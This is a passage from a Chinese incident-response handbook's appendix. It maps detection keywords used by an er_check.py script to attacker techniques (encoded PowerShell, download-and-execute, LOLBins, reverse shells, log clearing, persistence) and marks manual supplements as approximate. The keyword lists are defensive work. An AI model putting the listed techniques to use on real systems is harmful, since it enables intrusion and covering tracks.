B.4 提权与持久化关键字 对应 SUSPICIOUS_CMDLINE_PATTERNS / SUSPICIOUS_SHELL_PATTERNS

类别	关键词	命中含义
PowerShell	`-enc`、`-EncodedCommand`、`FromBase64String`	编码命令（无文件攻击）
下载执行	`DownloadString`、`IEX`、`Invoke-WebRequest`、`curl`、`wget`	远程下载执行
LOLBin	`mshta`、`regsvr32`、`rundll32`、`installutil`、`bitsadmin`、`certutil -urlcache`	白利用执行
临时目录	`\Temp\`、`\Users\Public\`、`\AppData\Local\Temp\`	从临时/公共目录执行
反弹 Shell	`/dev/tcp/`、`nc -e`、`ncat`、`socat exec`、`mkfifo`	反弹 shell 特征
清痕	`history -c`、`HISTFILE=/dev/null`、`unset HISTFILE`、`wevtutil cl`	清理日志/历史
持久化写入	`crontab`、`/etc/init.d`、`systemctl enable`、`rc.local`、`authorized_keys`	写入持久化位置

B.5 以下为脚本未覆盖、经验补充 阅读与使用说明

本手册以 er_check.py 的 65 个检查项（Windows 33 + Linux 32）为主干，逐项对应，未增删检查面。以下内容属于脚本无法覆盖、由现场经验补充的部分，使用时请注意其口径不同于脚本：

章节	补充内容	性质
1.26 / 1.27 / 2.28 / 2.29	自定义规则、YARA-like、哈希库的人工近似做法	近似口径，非等价
1.31	持久化归因（条目 ← 创建进程 ← 创建时间）	方法论补充
2.10 / 2.26	双向隐藏进程比对的具体命令	方法补充
第 4 章 4.2–4.7	大马特征、命名规律、混淆还原、图片马、隐藏文件、内存马	经验补充
第 6 章	离线 IOC 比对方法与登记表	方法论补充
第 7.5 节	处置动作清单	脚本不含处置，属补充
各节「如何排除误报」	误报排除清单	经验补充

> 凡标注「近似口径」的条目，其结论只能作为线索，不能作为「与脚本一致的判定」。报告中引用时须注明「人工近似判断」。